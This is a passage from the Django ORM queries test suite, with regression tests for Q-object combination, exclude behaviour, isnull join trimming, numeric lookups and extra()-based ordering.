        # Empty querysets can be merged with others.
        self.assertQuerysetEqual(
            Note.objects.none() | Note.objects.all(),
            ['<Note: n1>', '<Note: n2>', '<Note: n3>']
        )
        self.assertQuerysetEqual(
            Note.objects.all() | Note.objects.none(),
            ['<Note: n1>', '<Note: n2>', '<Note: n3>']
        )
        self.assertQuerysetEqual(Note.objects.none() & Note.objects.all(), [])
        self.assertQuerysetEqual(Note.objects.all() & Note.objects.none(), [])

    def test_ticket9411(self):
        # Make sure bump_prefix() (an internal Query method) doesn't (re-)break. It's
        # sufficient that this query runs without error.
        qs = Tag.objects.values_list('id', flat=True).order_by('id')
        qs.query.bump_prefix(qs.query)
        first = qs[0]
        self.assertEqual(list(qs), list(range(first, first + 5)))

    def test_ticket8439(self):
        # Complex combinations of conjunctions, disjunctions and nullable
        # relations.
        self.assertQuerysetEqual(
            Author.objects.filter(Q(item__note__extrainfo=self.e2) | Q(report=self.r1, name='xyz')),
            ['<Author: a2>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(Q(report=self.r1, name='xyz') | Q(item__note__extrainfo=self.e2)),
            ['<Author: a2>']
        )
        self.assertQuerysetEqual(
            Annotation.objects.filter(Q(tag__parent=self.t1) | Q(notes__note='n1', name='a1')),
            ['<Annotation: a1>']
        )
        xx = ExtraInfo.objects.create(info='xx', note=self.n3)
        self.assertQuerysetEqual(
            Note.objects.filter(Q(extrainfo__author=self.a1) | Q(extrainfo=xx)),
            ['<Note: n1>', '<Note: n3>']
        )
        q = Note.objects.filter(Q(extrainfo__author=self.a1) | Q(extrainfo=xx)).query
        self.assertEqual(
            len([x for x in q.alias_map.values() if x.join_type == LOUTER and q.alias_refcount[x.table_alias]]),
            1
        )

    def test_ticket17429(self):
        """
        Ensure that Meta.ordering=None works the same as Meta.ordering=[]
        """
        original_ordering = Tag._meta.ordering
        Tag._meta.ordering = None
        try:
            self.assertQuerysetEqual(
                Tag.objects.all(),
                ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>'],
                ordered=False
            )
        finally:
            Tag._meta.ordering = original_ordering

    def test_exclude(self):
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t4'),
            [repr(i) for i in Item.objects.filter(~Q(tags__name='t4'))])
        self.assertQuerysetEqual(
            Item.objects.exclude(Q(tags__name='t4') | Q(tags__name='t3')),
            [repr(i) for i in Item.objects.filter(~(Q(tags__name='t4') | Q(tags__name='t3')))])
        self.assertQuerysetEqual(
            Item.objects.exclude(Q(tags__name='t4') | ~Q(tags__name='t3')),
            [repr(i) for i in Item.objects.filter(~(Q(tags__name='t4') | ~Q(tags__name='t3')))])

    def test_nested_exclude(self):
        self.assertQuerysetEqual(
            Item.objects.exclude(~Q(tags__name='t4')),
            [repr(i) for i in Item.objects.filter(~~Q(tags__name='t4'))])

    def test_double_exclude(self):
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags__name='t4')),
            [repr(i) for i in Item.objects.filter(~~Q(tags__name='t4'))])
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags__name='t4')),
            [repr(i) for i in Item.objects.filter(~Q(~Q(tags__name='t4')))])

    def test_exclude_in(self):
        self.assertQuerysetEqual(
            Item.objects.exclude(Q(tags__name__in=['t4', 't3'])),
            [repr(i) for i in Item.objects.filter(~Q(tags__name__in=['t4', 't3']))])
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags__name__in=['t4', 't3'])),
            [repr(i) for i in Item.objects.filter(~~Q(tags__name__in=['t4', 't3']))])

    def test_ticket_10790_1(self):
        # Querying direct fields with isnull should trim the left outer join.
        # It also should not create INNER JOIN.
        q = Tag.objects.filter(parent__isnull=True)

        self.assertQuerysetEqual(q, ['<Tag: t1>'])
        self.assertNotIn('JOIN', str(q.query))

        q = Tag.objects.filter(parent__isnull=False)

        self.assertQuerysetEqual(
            q,
            ['<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>'],
        )
        self.assertNotIn('JOIN', str(q.query))

        q = Tag.objects.exclude(parent__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>'],
        )
        self.assertNotIn('JOIN', str(q.query))

        q = Tag.objects.exclude(parent__isnull=False)
        self.assertQuerysetEqual(q, ['<Tag: t1>'])
        self.assertNotIn('JOIN', str(q.query))

        q = Tag.objects.exclude(parent__parent__isnull=False)

        self.assertQuerysetEqual(
            q,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>'],
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 1)
        self.assertNotIn('INNER JOIN', str(q.query))

    def test_ticket_10790_2(self):
        # Querying across several tables should strip only the last outer join,
        # while preserving the preceding inner joins.
        q = Tag.objects.filter(parent__parent__isnull=False)

        self.assertQuerysetEqual(
            q,
            ['<Tag: t4>', '<Tag: t5>'],
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 1)

        # Querying without isnull should not convert anything to left outer join.
        q = Tag.objects.filter(parent__parent=self.t1)
        self.assertQuerysetEqual(
            q,
            ['<Tag: t4>', '<Tag: t5>'],
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 1)

    def test_ticket_10790_3(self):
        # Querying via indirect fields should populate the left outer join
        q = NamedCategory.objects.filter(tag__isnull=True)
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 1)
        # join to dumbcategory ptr_id
        self.assertEqual(str(q.query).count('INNER JOIN'), 1)
        self.assertQuerysetEqual(q, [])

        # Querying across several tables should strip only the last join, while
        # preserving the preceding left outer joins.
        q = NamedCategory.objects.filter(tag__parent__isnull=True)
        self.assertEqual(str(q.query).count('INNER JOIN'), 1)
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 1)
        self.assertQuerysetEqual(q, ['<NamedCategory: Generic>'])

    def test_ticket_10790_4(self):
        # Querying across m2m field should not strip the m2m table from join.
        q = Author.objects.filter(item__tags__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Author: a2>', '<Author: a3>'],
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 2)
        self.assertNotIn('INNER JOIN', str(q.query))

        q = Author.objects.filter(item__tags__parent__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a2>', '<Author: a2>', '<Author: a3>'],
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 3)
        self.assertNotIn('INNER JOIN', str(q.query))

    def test_ticket_10790_5(self):
        # Querying with isnull=False across m2m field should not create outer joins
        q = Author.objects.filter(item__tags__isnull=False)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a1>', '<Author: a2>', '<Author: a2>', '<Author: a4>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 2)

        q = Author.objects.filter(item__tags__parent__isnull=False)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a2>', '<Author: a4>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 3)

        q = Author.objects.filter(item__tags__parent__parent__isnull=False)
        self.assertQuerysetEqual(
            q,
            ['<Author: a4>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 4)

    def test_ticket_10790_6(self):
        # Querying with isnull=True across m2m field should not create inner joins
        # and strip last outer join
        q = Author.objects.filter(item__tags__parent__parent__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a1>', '<Author: a2>', '<Author: a2>',
             '<Author: a2>', '<Author: a3>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 4)
        self.assertEqual(str(q.query).count('INNER JOIN'), 0)

        q = Author.objects.filter(item__tags__parent__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a2>', '<Author: a2>', '<Author: a3>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 3)
        self.assertEqual(str(q.query).count('INNER JOIN'), 0)

    def test_ticket_10790_7(self):
        # Reverse querying with isnull should not strip the join
        q = Author.objects.filter(item__isnull=True)
        self.assertQuerysetEqual(
            q,
            ['<Author: a3>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 1)
        self.assertEqual(str(q.query).count('INNER JOIN'), 0)

        q = Author.objects.filter(item__isnull=False)
        self.assertQuerysetEqual(
            q,
            ['<Author: a1>', '<Author: a2>', '<Author: a2>', '<Author: a4>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 1)

    def test_ticket_10790_8(self):
        # Querying with combined q-objects should also strip the left outer join
        q = Tag.objects.filter(Q(parent__isnull=True) | Q(parent=self.t1))
        self.assertQuerysetEqual(
            q,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>']
        )
        self.assertEqual(str(q.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q.query).count('INNER JOIN'), 0)

    def test_ticket_10790_combine(self):
        # Combining queries should not re-populate the left outer join
        q1 = Tag.objects.filter(parent__isnull=True)
        q2 = Tag.objects.filter(parent__isnull=False)

        q3 = q1 | q2
        self.assertQuerysetEqual(
            q3,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>'],
        )
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

        q3 = q1 & q2
        self.assertQuerysetEqual(q3, [])
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

        q2 = Tag.objects.filter(parent=self.t1)
        q3 = q1 | q2
        self.assertQuerysetEqual(
            q3,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>']
        )
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

        q3 = q2 | q1
        self.assertQuerysetEqual(
            q3,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>']
        )
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

        q1 = Tag.objects.filter(parent__isnull=True)
        q2 = Tag.objects.filter(parent__parent__isnull=True)

        q3 = q1 | q2
        self.assertQuerysetEqual(
            q3,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>']
        )
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 1)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

        q3 = q2 | q1
        self.assertQuerysetEqual(
            q3,
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>']
        )
        self.assertEqual(str(q3.query).count('LEFT OUTER JOIN'), 1)
        self.assertEqual(str(q3.query).count('INNER JOIN'), 0)

    def test_ticket19672(self):
        self.assertQuerysetEqual(
            Report.objects.filter(Q(creator__isnull=False) & ~Q(creator__extra__value=41)),
            ['<Report: r1>']
        )

    def test_ticket_20250(self):
        # A negated Q along with an annotated queryset failed in Django 1.4
        qs = Author.objects.annotate(Count('item'))
        qs = qs.filter(~Q(extra__value=0))

        self.assertIn('SELECT', str(qs.query))
        self.assertQuerysetEqual(
            qs,
            ['<Author: a1>', '<Author: a2>', '<Author: a3>', '<Author: a4>']
        )

    def test_lookup_constraint_fielderror(self):
        msg = (
            "Cannot resolve keyword 'unknown_field' into field. Choices are: "
            "annotation, category, category_id, children, id, item, "
            "managedmodel, name, note, parent, parent_id"
        )
        with self.assertRaisesMessage(FieldError, msg):
            Tag.objects.filter(unknown_field__name='generic')


class Queries2Tests(TestCase):
    @classmethod
    def setUpTestData(cls):
        Number.objects.create(num=4)
        Number.objects.create(num=8)
        Number.objects.create(num=12)

    def test_ticket4289(self):
        # A slight variation on the restricting the filtering choices by the
        # lookup constraints.
        self.assertQuerysetEqual(Number.objects.filter(num__lt=4), [])
        self.assertQuerysetEqual(Number.objects.filter(num__gt=8, num__lt=12), [])
        self.assertQuerysetEqual(
            Number.objects.filter(num__gt=8, num__lt=13),
            ['<Number: 12>']
        )
        self.assertQuerysetEqual(
            Number.objects.filter(Q(num__lt=4) | Q(num__gt=8, num__lt=12)),
            []
        )
        self.assertQuerysetEqual(
            Number.objects.filter(Q(num__gt=8, num__lt=12) | Q(num__lt=4)),
            []
        )
        self.assertQuerysetEqual(
            Number.objects.filter(Q(num__gt=8) & Q(num__lt=12) | Q(num__lt=4)),
            []
        )
        self.assertQuerysetEqual(
            Number.objects.filter(Q(num__gt=7) & Q(num__lt=12) | Q(num__lt=4)),
            ['<Number: 8>']
        )

    def test_ticket12239(self):
        # Custom lookups are registered to round float values correctly on gte
        # and lt IntegerField queries.
        self.assertQuerysetEqual(
            Number.objects.filter(num__gt=11.9),
            ['<Number: 12>']
        )
        self.assertQuerysetEqual(Number.objects.filter(num__gt=12), [])
        self.assertQuerysetEqual(Number.objects.filter(num__gt=12.0), [])
        self.assertQuerysetEqual(Number.objects.filter(num__gt=12.1), [])
        self.assertQuerysetEqual(
            Number.objects.filter(num__lt=12),
            ['<Number: 4>', '<Number: 8>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lt=12.0),
            ['<Number: 4>', '<Number: 8>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lt=12.1),
            ['<Number: 4>', '<Number: 8>', '<Number: 12>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__gte=11.9),
            ['<Number: 12>']
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__gte=12),
            ['<Number: 12>']
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__gte=12.0),
            ['<Number: 12>']
        )
        self.assertQuerysetEqual(Number.objects.filter(num__gte=12.1), [])
        self.assertQuerysetEqual(Number.objects.filter(num__gte=12.9), [])
        self.assertQuerysetEqual(
            Number.objects.filter(num__lte=11.9),
            ['<Number: 4>', '<Number: 8>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lte=12),
            ['<Number: 4>', '<Number: 8>', '<Number: 12>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lte=12.0),
            ['<Number: 4>', '<Number: 8>', '<Number: 12>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lte=12.1),
            ['<Number: 4>', '<Number: 8>', '<Number: 12>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Number.objects.filter(num__lte=12.9),
            ['<Number: 4>', '<Number: 8>', '<Number: 12>'],
            ordered=False
        )

    def test_ticket7759(self):
        # Count should work with a partially read result set.
        count = Number.objects.count()
        qs = Number.objects.all()

        def run():
            for obj in qs:
                return qs.count() == count
        self.assertTrue(run())


class Queries3Tests(BaseQuerysetTest):
    def test_ticket7107(self):
        # This shouldn't create an infinite loop.
        self.assertQuerysetEqual(Valid.objects.all(), [])

    def test_ticket8683(self):
        # An error should be raised when QuerySet.datetimes() is passed the
        # wrong type of field.
        with self.assertRaisesMessage(AssertionError, "'name' isn't a DateField, TimeField, or DateTimeField."):
            Item.objects.datetimes('name', 'month')

    def test_ticket22023(self):
        with self.assertRaisesMessage(TypeError, "Cannot call only() after .values() or .values_list()"):
            Valid.objects.values().only()

        with self.assertRaisesMessage(TypeError, "Cannot call defer() after .values() or .values_list()"):
            Valid.objects.values().defer()


class Queries4Tests(BaseQuerysetTest):
    @classmethod
    def setUpTestData(cls):
        generic = NamedCategory.objects.create(name="Generic")
        cls.t1 = Tag.objects.create(name='t1', category=generic)

        n1 = Note.objects.create(note='n1', misc='foo')
        n2 = Note.objects.create(note='n2', misc='bar')

        e1 = ExtraInfo.objects.create(info='e1', note=n1)
        e2 = ExtraInfo.objects.create(info='e2', note=n2)

        cls.a1 = Author.objects.create(name='a1', num=1001, extra=e1)
        cls.a3 = Author.objects.create(name='a3', num=3003, extra=e2)

        cls.r1 = Report.objects.create(name='r1', creator=cls.a1)
        cls.r2 = Report.objects.create(name='r2', creator=cls.a3)
        cls.r3 = Report.objects.create(name='r3')

        Item.objects.create(name='i1', created=datetime.datetime.now(), note=n1, creator=cls.a1)
        Item.objects.create(name='i2', created=datetime.datetime.now(), note=n1, creator=cls.a3)

    def test_ticket24525(self):
        tag = Tag.objects.create()
        anth100 = tag.note_set.create(note='ANTH', misc='100')
        math101 = tag.note_set.create(note='MATH', misc='101')
        s1 = tag.annotation_set.create(name='1')
        s2 = tag.annotation_set.create(name='2')
        s1.notes.set([math101, anth100])
        s2.notes.set([math101])
        result = math101.annotation_set.all() & tag.annotation_set.exclude(notes__in=[anth100])
        self.assertEqual(list(result), [s2])

    def test_ticket11811(self):
        unsaved_category = NamedCategory(name="Other")
        msg = 'Unsaved model instance <NamedCategory: Other> cannot be used in an ORM query.'
        with self.assertRaisesMessage(ValueError, msg):
            Tag.objects.filter(pk=self.t1.pk).update(category=unsaved_category)

    def test_ticket14876(self):
        # Note: when combining the query we need to have information available
        # about the join type of the trimmed "creator__isnull" join. If we
        # don't have that information, then the join is created as INNER JOIN
        # and results will be incorrect.
        q1 = Report.objects.filter(Q(creator__isnull=True) | Q(creator__extra__info='e1'))
        q2 = Report.objects.filter(Q(creator__isnull=True)) | Report.objects.filter(Q(creator__extra__info='e1'))
        self.assertQuerysetEqual(q1, ["<Report: r1>", "<Report: r3>"], ordered=False)
        self.assertEqual(str(q1.query), str(q2.query))

        q1 = Report.objects.filter(Q(creator__extra__info='e1') | Q(creator__isnull=True))
        q2 = Report.objects.filter(Q(creator__extra__info='e1')) | Report.objects.filter(Q(creator__isnull=True))
        self.assertQuerysetEqual(q1, ["<Report: r1>", "<Report: r3>"], ordered=False)
        self.assertEqual(str(q1.query), str(q2.query))

        q1 = Item.objects.filter(Q(creator=self.a1) | Q(creator__report__name='r1')).order_by()
        q2 = (
            Item.objects
            .filter(Q(creator=self.a1)).order_by() | Item.objects.filter(Q(creator__report__name='r1'))
            .order_by()
        )
        self.assertQuerysetEqual(q1, ["<Item: i1>"])
        self.assertEqual(str(q1.query), str(q2.query))

        q1 = Item.objects.filter(Q(creator__report__name='e1') | Q(creator=self.a1)).order_by()
        q2 = (
            Item.objects.filter(Q(creator__report__name='e1')).order_by() |
            Item.objects.filter(Q(creator=self.a1)).order_by()
        )
        self.assertQuerysetEqual(q1, ["<Item: i1>"])
        self.assertEqual(str(q1.query), str(q2.query))

    def test_combine_join_reuse(self):
        # Test that we correctly recreate joins having identical connections
        # in the rhs query, in case the query is ORed together. Related to
        # ticket #18748
        Report.objects.create(name='r4', creator=self.a1)
        q1 = Author.objects.filter(report__name='r5')
        q2 = Author.objects.filter(report__name='r4').filter(report__name='r1')
        combined = q1 | q2
        self.assertEqual(str(combined.query).count('JOIN'), 2)
        self.assertEqual(len(combined), 1)
        self.assertEqual(combined[0].name, 'a1')

    def test_ticket7095(self):
        # Updates that are filtered on the model being updated are somewhat
        # tricky in MySQL. This exercises that case.
        ManagedModel.objects.create(data='mm1', tag=self.t1, public=True)
        self.assertEqual(ManagedModel.objects.update(data='mm'), 1)

        # A values() or values_list() query across joined models must use outer
        # joins appropriately.
        # Note: In Oracle, we expect a null CharField to return '' instead of
        # None.
        if connection.features.interprets_empty_strings_as_nulls:
            expected_null_charfield_repr = ''
        else:
            expected_null_charfield_repr = None
        self.assertValueQuerysetEqual(
            Report.objects.values_list("creator__extra__info", flat=True).order_by("name"),
            ['e1', 'e2', expected_null_charfield_repr],
        )

        # Similarly for select_related(), joins beyond an initial nullable join
        # must use outer joins so that all results are included.
        self.assertQuerysetEqual(
            Report.objects.select_related("creator", "creator__extra").order_by("name"),
            ['<Report: r1>', '<Report: r2>', '<Report: r3>']
        )

        # When there are multiple paths to a table from another table, we have
        # to be careful not to accidentally reuse an inappropriate join when
        # using select_related(). We used to return the parent's Detail record
        # here by mistake.

        d1 = Detail.objects.create(data="d1")
        d2 = Detail.objects.create(data="d2")
        m1 = Member.objects.create(name="m1", details=d1)
        m2 = Member.objects.create(name="m2", details=d2)
        Child.objects.create(person=m2, parent=m1)
        obj = m1.children.select_related("person__details")[0]
        self.assertEqual(obj.person.details.data, 'd2')

    def test_order_by_resetting(self):
        # Calling order_by() with no parameters removes any existing ordering on the
        # model. But it should still be possible to add new ordering after that.
        qs = Author.objects.order_by().order_by('name')
        self.assertIn('ORDER BY', qs.query.get_compiler(qs.db).as_sql()[0])

    def test_order_by_reverse_fk(self):
        # It is possible to order by reverse of foreign key, although that can lead
        # to duplicate results.
        c1 = SimpleCategory.objects.create(name="category1")
        c2 = SimpleCategory.objects.create(name="category2")
        CategoryItem.objects.create(category=c1)
        CategoryItem.objects.create(category=c2)
        CategoryItem.objects.create(category=c1)
        self.assertQuerysetEqual(
            SimpleCategory.objects.order_by('categoryitem', 'pk'),
            [c1, c2, c1], lambda x: x)

    def test_ticket10181(self):
        # Avoid raising an EmptyResultSet if an inner query is probably
        # empty (and hence, not executed).
        self.assertQuerysetEqual(
            Tag.objects.filter(id__in=Tag.objects.filter(id__in=[])),
            []
        )

    def test_ticket15316_filter_false(self):
        c1 = SimpleCategory.objects.create(name="category1")
        c2 = SpecialCategory.objects.create(name="named category1", special_name="special1")
        c3 = SpecialCategory.objects.create(name="named category2", special_name="special2")

        CategoryItem.objects.create(category=c1)
        ci2 = CategoryItem.objects.create(category=c2)
        ci3 = CategoryItem.objects.create(category=c3)

        qs = CategoryItem.objects.filter(category__specialcategory__isnull=False)
        self.assertEqual(qs.count(), 2)
        self.assertQuerysetEqual(qs, [ci2.pk, ci3.pk], lambda x: x.pk, False)

    def test_ticket15316_exclude_false(self):
        c1 = SimpleCategory.objects.create(name="category1")
        c2 = SpecialCategory.objects.create(name="named category1", special_name="special1")
        c3 = SpecialCategory.objects.create(name="named category2", special_name="special2")

        ci1 = CategoryItem.objects.create(category=c1)
        CategoryItem.objects.create(category=c2)
        CategoryItem.objects.create(category=c3)

        qs = CategoryItem.objects.exclude(category__specialcategory__isnull=False)
        self.assertEqual(qs.count(), 1)
        self.assertQuerysetEqual(qs, [ci1.pk], lambda x: x.pk)

    def test_ticket15316_filter_true(self):
        c1 = SimpleCategory.objects.create(name="category1")
        c2 = SpecialCategory.objects.create(name="named category1", special_name="special1")
        c3 = SpecialCategory.objects.create(name="named category2", special_name="special2")

        ci1 = CategoryItem.objects.create(category=c1)
        CategoryItem.objects.create(category=c2)
        CategoryItem.objects.create(category=c3)

        qs = CategoryItem.objects.filter(category__specialcategory__isnull=True)
        self.assertEqual(qs.count(), 1)
        self.assertQuerysetEqual(qs, [ci1.pk], lambda x: x.pk)

    def test_ticket15316_exclude_true(self):
        c1 = SimpleCategory.objects.create(name="category1")
        c2 = SpecialCategory.objects.create(name="named category1", special_name="special1")
        c3 = SpecialCategory.objects.create(name="named category2", special_name="special2")

        CategoryItem.objects.create(category=c1)
        ci2 = CategoryItem.objects.create(category=c2)
        ci3 = CategoryItem.objects.create(category=c3)

        qs = CategoryItem.objects.exclude(category__specialcategory__isnull=True)
        self.assertEqual(qs.count(), 2)
        self.assertQuerysetEqual(qs, [ci2.pk, ci3.pk], lambda x: x.pk, False)

    def test_ticket15316_one2one_filter_false(self):
        c = SimpleCategory.objects.create(name="cat")
        c0 = SimpleCategory.objects.create(name="cat0")
        c1 = SimpleCategory.objects.create(name="category1")

        OneToOneCategory.objects.create(category=c1, new_name="new1")
        OneToOneCategory.objects.create(category=c0, new_name="new2")

        CategoryItem.objects.create(category=c)
        ci2 = CategoryItem.objects.create(category=c0)
        ci3 = CategoryItem.objects.create(category=c1)

        qs = CategoryItem.objects.filter(category__onetoonecategory__isnull=False)
        self.assertEqual(qs.count(), 2)
        self.assertQuerysetEqual(qs, [ci2.pk, ci3.pk], lambda x: x.pk, False)

    def test_ticket15316_one2one_exclude_false(self):
        c = SimpleCategory.objects.create(name="cat")
        c0 = SimpleCategory.objects.create(name="cat0")
        c1 = SimpleCategory.objects.create(name="category1")

        OneToOneCategory.objects.create(category=c1, new_name="new1")
        OneToOneCategory.objects.create(category=c0, new_name="new2")

        ci1 = CategoryItem.objects.create(category=c)
        CategoryItem.objects.create(category=c0)
        CategoryItem.objects.create(category=c1)

        qs = CategoryItem.objects.exclude(category__onetoonecategory__isnull=False)
        self.assertEqual(qs.count(), 1)
        self.assertQuerysetEqual(qs, [ci1.pk], lambda x: x.pk)

    def test_ticket15316_one2one_filter_true(self):
        c = SimpleCategory.objects.create(name="cat")
        c0 = SimpleCategory.objects.create(name="cat0")
        c1 = SimpleCategory.objects.create(name="category1")

        OneToOneCategory.objects.create(category=c1, new_name="new1")
        OneToOneCategory.objects.create(category=c0, new_name="new2")

        ci1 = CategoryItem.objects.create(category=c)
        CategoryItem.objects.create(category=c0)
        CategoryItem.objects.create(category=c1)

        qs = CategoryItem.objects.filter(category__onetoonecategory__isnull=True)
        self.assertEqual(qs.count(), 1)
        self.assertQuerysetEqual(qs, [ci1.pk], lambda x: x.pk)

    def test_ticket15316_one2one_exclude_true(self):
        c = SimpleCategory.objects.create(name="cat")
        c0 = SimpleCategory.objects.create(name="cat0")
        c1 = SimpleCategory.objects.create(name="category1")

        OneToOneCategory.objects.create(category=c1, new_name="new1")
        OneToOneCategory.objects.create(category=c0, new_name="new2")

        CategoryItem.objects.create(category=c)
        ci2 = CategoryItem.objects.create(category=c0)
        ci3 = CategoryItem.objects.create(category=c1)

        qs = CategoryItem.objects.exclude(category__onetoonecategory__isnull=True)
        self.assertEqual(qs.count(), 2)
        self.assertQuerysetEqual(qs, [ci2.pk, ci3.pk], lambda x: x.pk, False)


class Queries5Tests(TestCase):
    @classmethod
    def setUpTestData(cls):
        # Ordering by 'rank' gives us rank2, rank1, rank3. Ordering by the
        # Meta.ordering will be rank3, rank2, rank1.
        n1 = Note.objects.create(note='n1', misc='foo', id=1)
        n2 = Note.objects.create(note='n2', misc='bar', id=2)
        e1 = ExtraInfo.objects.create(info='e1', note=n1)
        e2 = ExtraInfo.objects.create(info='e2', note=n2)
        a1 = Author.objects.create(name='a1', num=1001, extra=e1)
        a2 = Author.objects.create(name='a2', num=2002, extra=e1)
        a3 = Author.objects.create(name='a3', num=3003, extra=e2)
        cls.rank1 = Ranking.objects.create(rank=2, author=a2)
        Ranking.objects.create(rank=1, author=a3)
        Ranking.objects.create(rank=3, author=a1)

    def test_ordering(self):
        # Cross model ordering is possible in Meta, too.
        self.assertQuerysetEqual(
            Ranking.objects.all(),
            ['<Ranking: 3: a1>', '<Ranking: 2: a2>', '<Ranking: 1: a3>']
        )
        self.assertQuerysetEqual(
            Ranking.objects.all().order_by('rank'),
            ['<Ranking: 1: a3>', '<Ranking: 2: a2>', '<Ranking: 3: a1>']
        )

        # Ordering of extra() pieces is possible, too and you can mix extra
        # fields and model fields in the ordering.
        self.assertQuerysetEqual(
            Ranking.objects.extra(tables=['django_site'], order_by=['-django_site.id', 'rank']),
            ['<Ranking: 1: a3>', '<Ranking: 2: a2>', '<Ranking: 3: a1>']
        )

        qs = Ranking.objects.extra(select={'good': 'case when rank > 2 then 1 else 0 end'})
        self.assertEqual(
            [o.good for o in qs.extra(order_by=('-good',))],
            [True, False, False]
        )
        self.assertQuerysetEqual(
            qs.extra(order_by=('-good', 'id')),
            ['<Ranking: 3: a1>', '<Ranking: 2: a2>', '<Ranking: 1: a3>']
        )

        # Despite having some extra aliases in the query, we can still omit
        # them in a values() query.
        dicts = qs.values('id', 'rank').order_by('id')
        self.assertEqual(
            [d['rank'] for d in dicts],
            [2, 1, 3]
        )

    def test_ticket7256(self):
        # An empty values() call includes all aliases, including those from an
        # extra()
        qs = Ranking.objects.extra(select={'good': 'case when rank > 2 then 1 else 0 end'})
        dicts = qs.values().order_by('id')
        for d in dicts:
            del d['id']
            del d['author_id']
        self.assertEqual(
            [sorted(d.items()) for d in dicts],
            [[('good', 0), ('rank', 2)], [('good', 0), ('rank', 1)], [('good', 1), ('rank', 3)]]
        )

    def test_ticket7045(self):
        # Extra tables used to crash SQL construction on the second use.
        qs = Ranking.objects.extra(tables=['django_site'])
        qs.query.get_compiler(qs.db).as_sql()
        # test passes if this doesn't raise an exception.
        qs.query.get_compiler(qs.db).as_sql()

    def test_ticket9848(self):
        # Make sure that updates which only filter on sub-tables don't
        # inadvertently update the wrong records (bug #9848).

        # Make sure that the IDs from different tables don't happen to match.
        self.assertQuerysetEqual(
            Ranking.objects.filter(author__name='a1'),
            ['<Ranking: 3: a1>']
        )
        self.assertEqual(
            Ranking.objects.filter(author__name='a1').update(rank='4'),
            1
        )
        r = Ranking.objects.filter(author__name='a1')[0]
        self.assertNotEqual(r.id, r.author.id)
        self.assertEqual(r.rank, 4)
        r.rank = 3
        r.save()
        self.assertQuerysetEqual(
            Ranking.objects.all(),
            ['<Ranking: 3: a1>', '<Ranking: 2: a2>', '<Ranking: 1: a3>']
        )

    def test_ticket5261(self):
        # Test different empty excludes.
        self.assertQuerysetEqual(
            Note.objects.exclude(Q()),
            ['<Note: n1>', '<Note: n2>']
        )
        self.assertQuerysetEqual(
            Note.objects.filter(~Q()),
            ['<Note: n1>', '<Note: n2>']
        )
        self.assertQuerysetEqual(
            Note.objects.filter(~Q() | ~Q()),
            ['<Note: n1>', '<Note: n2>']
        )
        self.assertQuerysetEqual(
            Note.objects.exclude(~Q() & ~Q()),
            ['<Note: n1>', '<Note: n2>']
        )

